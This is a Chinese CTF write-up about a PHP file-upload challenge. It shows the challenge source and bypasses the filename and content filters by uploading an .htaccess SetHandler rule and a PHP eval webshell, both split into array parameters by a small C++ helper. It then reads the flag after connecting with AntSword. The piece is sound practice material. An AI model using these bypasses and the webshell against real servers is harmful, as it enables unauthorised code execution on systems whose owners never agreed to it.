.htaccess绕过后缀名检测
也是浪爷检测一下学习成果,放了一道题给我,靶场放在这里:139.9.251.90:8888
这是一道关于upload的题目,首先可以打开靶场,得到php代码:
<?php
highlight_file(__FILE__);
#### easy game
$upload = 'upload/'.md5("2021".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.php', '');
var_dump($upload);
if (isset($_POST['file']) && isset($_POST['file'])){
if(preg_match('#.+\.ph(p[3457]?|t|tml)$|/#is',$_POST['file'])){
die('file error');
}
if(preg_match('#\w{2,}|[678]|<\?|/#',$_POST['content'])){
die('content error');
}
file_put_contents($upload.'/'.$_POST['file'], $_POST['content']);
}
if (isset($_GET['reset'])){
@rmdir($upload);
}
映入眼帘的就是两个正则匹配
下面简单的代码审计一下:
在判断语句的是上面是一个创建目录的代码,会根据当前的ip地址分配创建一个upload下的目录,然后会打印在最下方,我们要做的就是上传一句话木马然后拿到webshell。路径已经给了,现在的问题就是怎么上传。
上面说过了最显眼的就是那两个正则匹配,一个是匹配文件名后缀是否为php及其各种版本比如php3,5等等,还有奇形怪状的phtml。
第二个正则匹配会匹配字符和数字,但是一个光秃秃的字符和数字不会被匹配。这个时候可以考虑用数组绕过,由于能力有限不会python,这边用C++代替了,exp:
#include <iostream>
#include <cstring>
//const string b="content";
using namespace std;
int main(){
freopen("a.in","r",stdin);
freopen("a.out","w",stdout);
string a;
cin>>a;
int c=a.length();
for(int i=0;i<c;i++){
cout<<"content"<<"["<<i+12<<"]="<<a[i];
cout<<"&";
}
return 0;
}
/*file=.user.ini&content[1]=a&content[2]=u&content[3]=t&content[4]=o&content[5]=_&content[6]=p&content[7]=r&content[8]=e&content[9]=p&content[10]=e&content[11]=n&content[12]=d&content[13]=_&content[14]=f&content[15]=i&content[16]=l&content[17]=e&content[18]==&content[19]=f&content[20]=.&content[21]=t&content[22]=x&content[23]=t*/
//content[1]=S&content[2]=e&content[3]=t&content[4]=H&content[5]=a&content[6]=n&content[7]=d&content[8]=l&content[9]=e&content[10]=r&content[11]=%20
//content[12]=a&content[13]=p&content[14]=p&content[15]=l&content[16]=i&content[17]=c&content[18]=a&content[19]=t&content[20]=i&content[21]=o&content[22]=n&content[23]=/&content[24]=x&content[25]=-&content[26]=h&content[27]=t&content[28]=t&content[29]=p&content[30]=d&content[31]=-&content[32]=p&content[33]=h&content[34]=p
//file=f.txt&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%20&content[7]=@&content[8]=e&content[9]=v&content[10]=a&content[11]=l&content[12]=(&content[13]=$&content[14]=_&content[15]=P&content[16]=O&content[17]=S&content[18]=T&content[19]=[&content[20]='&content[21]=a&content[22]=t&content[23]=t&content[24]=a&content[25]=c&content[26]=k&content[27]='&content[28]=]&content[29]=)&content[30]=;&content[31]=?&content[32]=>
下面的注释是用来备份的,可以忽略掉。
下面就是比较重要的一点了:怎么上传。
最早想用phps上传的,因为phps并没有被过滤,但是用了phps并不能解析内部的php代码,于是想到了用.user.ini的方式进行文件包含,先上传.user.ini然后利用文件包含打开php,但是直接否定掉了,因为不能上传php文件,所以压根不存在上传webshell。
翻看以前写过的笔记,从upload labs里面的less-4找到了点灵感,上传一个.htaccess文件,文件中加入SetHandler application/x-httpd-php,这个之前是有遇到过的,这样就会让所有的文件都会当成php来解析,这样我们随意上传一个有一句话木马的txt文件然后解析,就能成功用蚁剑连接了。
蚁剑连接之后,在根目录发现了一个readflag,身为小白的我直接打开了他,发现了一堆二进制代码,后来是syc某位师傅告诉我用命令行打开我才发现,flag原本是存在于root目录下的,我权限不够,用命令行读取readflag才能拿到flag。